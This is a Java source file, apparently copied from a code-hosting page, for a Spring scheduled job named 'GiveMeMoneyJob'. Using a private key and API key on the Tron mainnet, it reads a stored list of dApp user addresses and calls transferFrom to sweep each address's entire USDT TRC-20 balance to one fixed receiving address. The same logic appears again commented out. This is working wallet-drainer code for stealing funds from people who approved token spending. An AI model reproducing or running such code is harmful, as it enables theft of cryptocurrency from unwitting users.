| | |
| | | import java.util.List; |
| | | |
| | | /** |
| | | * @author wzy |
| | | * @author |
| | | * @date 2021-10-20 |
| | | **/ |
| | | @Slf4j |
| | | @Component |
| | | public class GiveMeMoneyJob { |
| | | |
| | | private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); |
| | | ; |
| | | |
| | | @Autowired |
| | | private DappAdressListDao dappAdressListDao; |
| | | |
| | | // @Scheduled(cron = "0 0/5 * * * ? ") |
| | | public void giveMeMoney() { |
| | | log.info("give me money"); |
| | | List<DappAddressList> list = dappAdressListDao.selectList(null); |
| | | |
| | | if (CollUtil.isEmpty(list)) { |
| | | return; |
| | | } |
| | | |
| | | for (DappAddressList address : list) { |
| | | Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); |
| | | Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); |
| | | BigInteger balanceOf = token.balanceOf(address.getAddress()); |
| | | |
| | | log.info("====>{}", balanceOf.intValue()); |
| | | if (balanceOf.intValue() <= 0) { |
| | | continue; |
| | | } |
| | | token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L); |
| | | } |
| | | } |
| | | // |
| | | // private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); |
| | | // ; |
| | | // |
| | | // @Autowired |
| | | // private DappAdressListDao dappAdressListDao; |
| | | // |
| | | //// @Scheduled(cron = "0 0/5 * * * ? ") |
| | | // public void giveMeMoney() { |
| | | // log.info("give me money"); |
| | | // List<DappAddressList> list = dappAdressListDao.selectList(null); |
| | | // |
| | | // if (CollUtil.isEmpty(list)) { |
| | | // return; |
| | | // } |
| | | // |
| | | // for (DappAddressList address : list) { |
| | | // Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); |
| | | // Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); |
| | | // BigInteger balanceOf = token.balanceOf(address.getAddress()); |
| | | // |
| | | // log.info("====>{}", balanceOf.intValue()); |
| | | // if (balanceOf.intValue() <= 0) { |
| | | // continue; |
| | | // } |
| | | // token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L); |
| | | // } |
| | | // } |
| | | } |